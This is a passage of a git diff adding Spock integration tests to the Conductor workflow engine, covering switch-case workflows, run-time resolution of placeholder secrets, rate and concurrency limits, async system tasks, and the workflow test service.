verifyPolledAndAcknowledgedTask(polledAndCompletedTaskTry1) + + and: + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[2].taskType == expectedTaskName + tasks[2].status == endTaskStatus + tasks[3].taskType == 'SWITCH' + tasks[3].status == Task.Status.COMPLETED + tasks[3].outputData['evaluationResult'] == ['null'] + } + + where: + caseValue | expectedTaskName | workflowCorrelationId || endTaskStatus + 'two' | 'integration_task_2' | 'conditional_nested_two' || Task.Status.COMPLETED + 'one' | 'integration_task_1' | 'conditional_nested_one' || Task.Status.COMPLETED + } + + def "Test 'three' case condition execution of a conditional workflow"() { + given: "input for a workflow to ensure that the default case is executed" + Map input = new HashMap() + input['param1'] = 'three' + input['param2'] = 'two' + input['finalCase'] = 'notify' + + when: "A conditional workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(COND_TASK_WF, 1, + 'conditional_three', input, + null) + + then: "verify that the workflow is running and the 'three' condition case was executed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData['evaluationResult'] == ['three'] + tasks[1].taskType == 'integration_task_3' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_3' is polled and completed" + def polledAndCompletedTask3Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_3', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask3Try1) + + and: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 4 + tasks[1].taskType == 'integration_task_3' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SWITCH' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['evaluationResult'] == ['notify'] + tasks[3].taskType == 'integration_task_4' + tasks[3].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_4' is polled and completed" + def polledAndCompletedTask4Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_4', 'task1.integration.worker') + + then: "verify that the tasks are completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask4Try1) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 4 + tasks[1].taskType == 'integration_task_3' + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == 'SWITCH' + tasks[2].status == Task.Status.COMPLETED + tasks[2].outputData['evaluationResult'] == ['notify'] + tasks[3].taskType == 'integration_task_4' + tasks[3].status == Task.Status.COMPLETED + } + } + + def "Test switch with no default case workflow"() { + given: "Workflow input" + Map input = new HashMap() + input['param1'] = 'p1' + input['param2'] = 'p2' + + when: "A switch workflow is started with the workflow input" + def workflowInstanceId = startWorkflow(SWITCH_NODEFAULT_WF, 1, + 'switch_no_default_workflow', input, + null) + + then: "verify that the workflow is in running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the task 'integration_task_2' is polled and completed" + def polledAndCompletedTaskTry = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task1.integration.worker') + + then: "verify that the task is completed and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTaskTry) + + and: "verify that the 'integration_task_2' is COMPLETED and the workflow is in COMPLETED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'SWITCH' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SyncSystemTaskSecretSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SyncSystemTaskSecretSpec.groovy new file mode 100644 index 0000000..fdba5bb --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SyncSystemTaskSecretSpec.groovy @@ -0,0 +1,110 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.test.base.AbstractSpecification + +/** + * End-to-end integration test proving that {@code ${workflow.secrets.X}} is resolved for + * synchronous system tasks (SET_VARIABLE and JSON_JQ_TRANSFORM) that execute directly in the + * decide loop, not just at the worker-poll / async-system-task hand-off points. + *

    + * - The persisted task INPUT must stay literal ({@code ${workflow.secrets.SECRET}}). + * - The task must execute against the resolved secret value. + */ +class SyncSystemTaskSecretSpec extends AbstractSpecification { + + private static final String SET_VARIABLE_WORKFLOW_NAME = 'set_variable_secret_wf' + private static final String JSON_JQ_TRANSFORM_WORKFLOW_NAME = 'json_jq_transform_secret_wf' + + def setupSpec() { + System.setProperty("CONDUCTOR_SECRET_SECRET", "s3cr3t") + } + + def cleanupSpec() { + System.clearProperty("CONDUCTOR_SECRET_SECRET") + } + + def setup() { + def setVariableTask = new WorkflowTask() + setVariableTask.name = 'set_variable_task' + setVariableTask.taskReferenceName = 'set_variable_task_ref' + setVariableTask.type = 'SET_VARIABLE' + setVariableTask.inputParameters = [ + secretVar: '${workflow.secrets.SECRET}' + ] + + def setVariableWfDef = new WorkflowDef() + setVariableWfDef.name = SET_VARIABLE_WORKFLOW_NAME + setVariableWfDef.version = 1 + setVariableWfDef.tasks = [setVariableTask] + setVariableWfDef.ownerEmail = 'test@example.com' + setVariableWfDef.timeoutSeconds = 3600 + setVariableWfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(setVariableWfDef) + + def jsonJqTransformTask = new WorkflowTask() + jsonJqTransformTask.name = 'json_jq_transform_task' + jsonJqTransformTask.taskReferenceName = 'json_jq_transform_task_ref' + jsonJqTransformTask.type = 'JSON_JQ_TRANSFORM' + jsonJqTransformTask.inputParameters = [ + secret : '${workflow.secrets.SECRET}', + queryExpression: '{ out: .secret }' + ] + + def jsonJqTransformWfDef = new WorkflowDef() + jsonJqTransformWfDef.name = JSON_JQ_TRANSFORM_WORKFLOW_NAME + jsonJqTransformWfDef.version = 1 + jsonJqTransformWfDef.tasks = [jsonJqTransformTask] + jsonJqTransformWfDef.ownerEmail = 'test@example.com' + jsonJqTransformWfDef.timeoutSeconds = 3600 + jsonJqTransformWfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(jsonJqTransformWfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(SET_VARIABLE_WORKFLOW_NAME, 1) } catch (ignored) {} + try { metadataService.unregisterWorkflowDef(JSON_JQ_TRANSFORM_WORKFLOW_NAME, 1) } catch (ignored) {} + workflowTestUtil.clearWorkflows() + } + + def "secret is resolved for synchronous SET_VARIABLE system task while stored input stays literal"() { + when: "the workflow is started" + def wfId = startWorkflow(SET_VARIABLE_WORKFLOW_NAME, 1, 'set-variable-secret-test', [:], null) + + then: "the SET_VARIABLE task ran synchronously and wrote the resolved secret into workflow variables" + def status = workflowExecutionService.getExecutionStatus(wfId, true) + status.variables.secretVar == 's3cr3t' + + and: "the persisted task input keeps the literal secret reference" + def setVariableTask = status.tasks.find { it.referenceTaskName == 'set_variable_task_ref' } + setVariableTask != null + setVariableTask.inputData.secretVar == '${workflow.secrets.SECRET}' + } + + def "secret is resolved for synchronous JSON_JQ_TRANSFORM system task while stored input stays literal"() { + when: "the workflow is started" + def wfId = startWorkflow(JSON_JQ_TRANSFORM_WORKFLOW_NAME, 1, 'json-jq-transform-secret-test', [:], null) + + then: "the JSON_JQ_TRANSFORM task ran synchronously against the resolved secret" + def status = workflowExecutionService.getExecutionStatus(wfId, true) + def jsonJqTransformTask = status.tasks.find { it.referenceTaskName == 'json_jq_transform_task_ref' } + jsonJqTransformTask != null + jsonJqTransformTask.outputData.result.out == 's3cr3t' + + and: "the persisted task input keeps the literal secret reference" + jsonJqTransformTask.inputData.secret == '${workflow.secrets.SECRET}' + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SystemTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SystemTaskSpec.groovy new file mode 100644 index 0000000..28bfca5 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SystemTaskSpec.groovy @@ -0,0 +1,129 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification +import com.netflix.conductor.test.utils.UserTask + +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class SystemTaskSpec extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO + + @Autowired + UserTask userTask + + @Shared + def ASYNC_COMPLETE_SYSTEM_TASK_WORKFLOW = 'async_complete_integration_test_wf' + + def setup() { + workflowTestUtil.registerWorkflows('simple_workflow_with_async_complete_system_task_integration_test.json') + } + + def "Test system task with asyncComplete set to true"() { + + given: "An existing workflow definition with async complete system task" + metadataService.getWorkflowDef(ASYNC_COMPLETE_SYSTEM_TASK_WORKFLOW, 1) + + and: "input required to start the workflow" + String correlationId = 'async_complete_test' + UUID.randomUUID() + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + when: "the workflow is started" + def workflowInstanceId = startWorkflow(ASYNC_COMPLETE_SYSTEM_TASK_WORKFLOW, 1, + correlationId, input, null) + + then: "ensure that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "poll and complete the integration_task_1 task" + def pollAndCompleteTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask) + + and: "verify that the 'integration_task1' is complete and the next task is in SCHEDULED state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'USER_TASK' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "the system task is started by issuing a system task call" + List polledTaskIds = queueDAO.pop("USER_TASK", 1, 200) + asyncSystemTaskExecutor.execute(userTask, polledTaskIds[0]) + + then: "verify that the system task is in IN_PROGRESS state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == "USER_TASK" + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "sweeper evaluates the workflow" + sweep(workflowInstanceId) + + then: "workflow state is unchanged" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == "USER_TASK" + tasks[1].status == Task.Status.IN_PROGRESS + } + + when: "result of the user task is curated" + Task task = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).getTaskByRefName('user_task') + def taskResult = new TaskResult(task) + taskResult.status = TaskResult.Status.COMPLETED + taskResult.outputData['op'] = 'user.task.done' + + and: "external signal is simulated with this output to complete the system task" + workflowExecutor.updateTask(taskResult) + + then: "ensure that the system task is COMPLETED and workflow is COMPLETED" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'USER_TASK' + tasks[1].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskDeclaredSecretsSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskDeclaredSecretsSpec.groovy new file mode 100644 index 0000000..731cb44 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskDeclaredSecretsSpec.groovy @@ -0,0 +1,91 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.test.base.AbstractSpecification + +/** + * End-to-end integration test proving task-declared secrets injection works through the full + * Spring server: a {@code TaskDef} declares the secret/environment names it needs via + * {@code TaskDef.runtimeMetadata}; at poll time the server resolves each name (secrets store + * first, then environment fallback) and injects the resolved name->value pairs onto the polled + * {@code Task.runtimeMetadata} map. Names that resolve in neither provider are omitted. + */ +class TaskDeclaredSecretsSpec extends AbstractSpecification { + + private static final String TASK_NAME = 'declared_secret_task' + private static final String WORKFLOW_NAME = 'declared_secret_wf' + + def setupSpec() { + System.setProperty("CONDUCTOR_SECRET_API_KEY", "key-123") + System.setProperty("CONDUCTOR_ENV_REGION", "us-east-1") + } + + def cleanupSpec() { + System.clearProperty("CONDUCTOR_SECRET_API_KEY") + System.clearProperty("CONDUCTOR_ENV_REGION") + } + + def setup() { + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 0 + taskDef.timeoutSeconds = 120 + taskDef.responseTimeoutSeconds = 120 + taskDef.ownerEmail = 'test@example.com' + taskDef.setRuntimeMetadata(["API_KEY", "REGION", "MISSING_ONE"]) + metadataService.registerTaskDef([taskDef]) + + def wfTask = new WorkflowTask() + wfTask.name = TASK_NAME + wfTask.taskReferenceName = 'declared_secret_task_ref' + wfTask.type = TaskType.SIMPLE + + def wfDef = new WorkflowDef() + wfDef.name = WORKFLOW_NAME + wfDef.version = 1 + wfDef.tasks = [wfTask] + wfDef.ownerEmail = 'test@example.com' + wfDef.timeoutSeconds = 3600 + wfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(wfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(WORKFLOW_NAME, 1) } catch (ignored) {} + try { metadataService.unregisterTaskDef(TASK_NAME) } catch (ignored) {} + workflowTestUtil.clearWorkflows() + } + + def "declared secret names are resolved from secrets store and env, missing names omitted"() { + when: "the workflow is started" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'declared-secrets-test', [:], null) + + then: "a worker polls the task and receives the resolved secrets map" + def polled = null + conditions.eventually { + polled = workflowExecutionService.poll(TASK_NAME, 'test-worker') + assert polled != null + } + + wfId != null + polled.runtimeMetadata['API_KEY'] == 'key-123' + polled.runtimeMetadata['REGION'] == 'us-east-1' + !polled.runtimeMetadata.containsKey('MISSING_ONE') + polled.runtimeMetadata.size() == 2 + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskLimitsWorkflowSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskLimitsWorkflowSpec.groovy new file mode 100644 index 0000000..f1bcd4d --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TaskLimitsWorkflowSpec.groovy @@ -0,0 +1,224 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification +import com.netflix.conductor.test.utils.UserTask + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class TaskLimitsWorkflowSpec extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO + + @Autowired + UserTask userTask + + def RATE_LIMITED_SYSTEM_TASK_WORKFLOW = 'test_rate_limit_system_task_workflow' + def RATE_LIMITED_SIMPLE_TASK_WORKFLOW = 'test_rate_limit_simple_task_workflow' + def CONCURRENCY_EXECUTION_LIMITED_WORKFLOW = 'test_concurrency_limits_workflow' + + def setup() { + workflowTestUtil.registerWorkflows( + 'rate_limited_system_task_workflow_integration_test.json', + 'rate_limited_simple_task_workflow_integration_test.json', + 'concurrency_limited_task_workflow_integration_test.json' + ) + } + + def "Verify that the rate limiting for system tasks is honored"() { + when: "Start a workflow that has a rate limited system task in it" + def workflowInstanceId = startWorkflow(RATE_LIMITED_SYSTEM_TASK_WORKFLOW, 1, + '', [:], null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'USER_TASK' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Execute the user task" + def scheduledTask1 = workflowExecutionService.getExecutionStatus(workflowInstanceId, true).tasks[0] + asyncSystemTaskExecutor.execute(userTask, scheduledTask1.taskId) + + then: "Verify the state of the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].taskType == 'USER_TASK' + tasks[0].status == Task.Status.COMPLETED + } + + when: "A new instance of the workflow is started" + def workflowTwoInstanceId = startWorkflow(RATE_LIMITED_SYSTEM_TASK_WORKFLOW, 1, + '', [:], null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'USER_TASK' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Execute the user task on the second workflow" + def scheduledTask2 = workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true).tasks[0] + asyncSystemTaskExecutor.execute(userTask, scheduledTask2.taskId) + + then: "Verify the state of the workflow is still in running state" + with(workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'USER_TASK' + tasks[0].status == Task.Status.SCHEDULED + } + } + + def "Verify that the rate limiting for simple tasks is honored"() { + when: "Start a workflow that has a rate limited simple task in it" + def workflowInstanceId = startWorkflow(RATE_LIMITED_SIMPLE_TASK_WORKFLOW, 1, '', [:], null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'test_simple_task_with_rateLimits' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "polling and completing the task" + Tuple polledAndCompletedTask = workflowTestUtil.pollAndCompleteTask('test_simple_task_with_rateLimits', 'rate.limit.test.worker') + + then: "verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask) + + and: "the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].taskType == 'test_simple_task_with_rateLimits' + tasks[0].status == Task.Status.COMPLETED + } + + when: "A new instance of the workflow is started" + def workflowTwoInstanceId = startWorkflow(RATE_LIMITED_SIMPLE_TASK_WORKFLOW, 1, + '', [:], null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'test_simple_task_with_rateLimits' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "polling for the task" + def polledTask = workflowExecutionService.poll('test_simple_task_with_rateLimits', 'rate.limit.test.worker') + + then: "verify that no task is returned" + !polledTask + + when: "sleep for 10 seconds to ensure rate limit duration is past" + Thread.sleep(10000L) + + and: "the task offset time is reset to ensure that a task is returned on the next poll" + queueDAO.resetOffsetTime('test_simple_task_with_rateLimits', + workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true).tasks[0].taskId) + + and: "polling and completing the task" + polledAndCompletedTask = workflowTestUtil.pollAndCompleteTask('test_simple_task_with_rateLimits', 'rate.limit.test.worker') + + then: "verify that the task was polled and acknowledged" + verifyPolledAndAcknowledgedTask(polledAndCompletedTask) + + and: "the workflow is completed" + with(workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].taskType == 'test_simple_task_with_rateLimits' + tasks[0].status == Task.Status.COMPLETED + } + } + + def "Verify that concurrency limited tasks are honored during workflow execution"() { + when: "Start a workflow that has a concurrency execution limited task in it" + def workflowInstanceId = startWorkflow(CONCURRENCY_EXECUTION_LIMITED_WORKFLOW, 1, + '', [:], null) + + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'test_task_with_concurrency_limit' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The task is polled and acknowledged" + def polledTask1 = workflowExecutionService.poll('test_task_with_concurrency_limit', 'test_task_worker') + + then: "Verify that the task was polled and acknowledged" + polledTask1.taskType == 'test_task_with_concurrency_limit' + polledTask1.workflowInstanceId == workflowInstanceId + + when: "A additional workflow that has a concurrency execution limited task in it" + def workflowTwoInstanceId = startWorkflow(CONCURRENCY_EXECUTION_LIMITED_WORKFLOW, 1, + '', [:], null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'test_task_with_concurrency_limit' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The task is polled" + def polledTaskTry1 = workflowExecutionService.poll('test_task_with_concurrency_limit', 'test_task_worker') + + then: "Verify that there is no task returned" + !polledTaskTry1 + + when: "The task that was polled and acknowledged is completed" + polledTask1.status = Task.Status.COMPLETED + workflowExecutionService.updateTask(new TaskResult(polledTask1)) + + and: "The task offset time is reset to ensure that a task is returned on the next poll" + queueDAO.resetOffsetTime('test_task_with_concurrency_limit', + workflowExecutionService.getExecutionStatus(workflowTwoInstanceId, true).tasks[0].taskId) + + then: "Verify that the first workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].taskType == 'test_task_with_concurrency_limit' + tasks[0].status == Task.Status.COMPLETED + } + + and: "The task is polled again and acknowledged" + def polledTaskTry2 = workflowExecutionService.poll('test_task_with_concurrency_limit', 'test_task_worker') + + then: "Verify that the task is returned since there are no tasks in progress" + polledTaskTry2.taskType == 'test_task_with_concurrency_limit' + polledTaskTry2.workflowInstanceId == workflowTwoInstanceId + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TestWorkflowSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TestWorkflowSpec.groovy new file mode 100644 index 0000000..7a6f90b --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/TestWorkflowSpec.groovy @@ -0,0 +1,166 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import java.util.concurrent.ArrayBlockingQueue + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.common.run.WorkflowTestRequest +import com.netflix.conductor.service.WorkflowTestService +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedLargePayloadTask +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +class TestWorkflowSpec extends AbstractSpecification { + + @Autowired + WorkflowTestService workflowTestService + + def "Run Workflow Test with simple tasks"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['var'] = "var_test_value" + + WorkflowTestRequest request = new WorkflowTestRequest(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test_workflow"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail("owner@example.com"); + + WorkflowTask task1 = new WorkflowTask(); + task1.setType(TaskType.TASK_TYPE_SIMPLE); + task1.setName("task1"); + task1.setTaskReferenceName("task1"); + + WorkflowTask task2 = new WorkflowTask(); + task2.setType(TaskType.TASK_TYPE_SIMPLE); + task2.setName("task2"); + task2.setTaskReferenceName("task2"); + + workflowDef.getTasks().add(task1); + workflowDef.getTasks().add(task2); + + request.setName(workflowDef.getName()); + request.setVersion(workflowDef.getVersion()); + + Queue task1Executions = new LinkedList<>(); + task1Executions.add(new WorkflowTestRequest.TaskMock(TaskResult.Status.COMPLETED, Map.of("key", "value"))); + + request.getTaskRefToMockOutput().put("task1", task1Executions); + + request.setWorkflowDef(workflowDef); + + when: "Start the workflow which has the set variable task" + def workflow = workflowTestService.testWorkflow(request) + + then: "verify that the simple task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflow.getWorkflowId(), true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'task1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData["key"] == "value" + + tasks[1].taskType == 'task2' + tasks[1].status == Task.Status.SCHEDULED + } + + + } + + def "Run Workflow Test with decision task"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['var'] = "var_test_value" + + WorkflowTestRequest request = new WorkflowTestRequest(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test_workflow"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail("owner@example.com"); + + WorkflowTask task1 = new WorkflowTask(); + task1.setType(TaskType.TASK_TYPE_SIMPLE); + task1.setName("task1"); + task1.setTaskReferenceName("task1"); + + WorkflowTask decision = new WorkflowTask(); + decision.setType(TaskType.TASK_TYPE_SWITCH); + decision.setName("switch"); + decision.setTaskReferenceName("switch"); + decision.setEvaluatorType("value-param") + decision.setExpression("switchCaseValue") + decision.getInputParameters().put("switchCaseValue", "\${workflow.input.case}") + + WorkflowTask d1 = new WorkflowTask(); + d1.setType(TaskType.TASK_TYPE_SIMPLE); + d1.setName("task1"); + d1.setTaskReferenceName("d1"); + + WorkflowTask d2 = new WorkflowTask(); + d2.setType(TaskType.TASK_TYPE_SIMPLE); + d2.setName("task2"); + d2.setTaskReferenceName("d2"); + + decision.getDecisionCases().put("a", 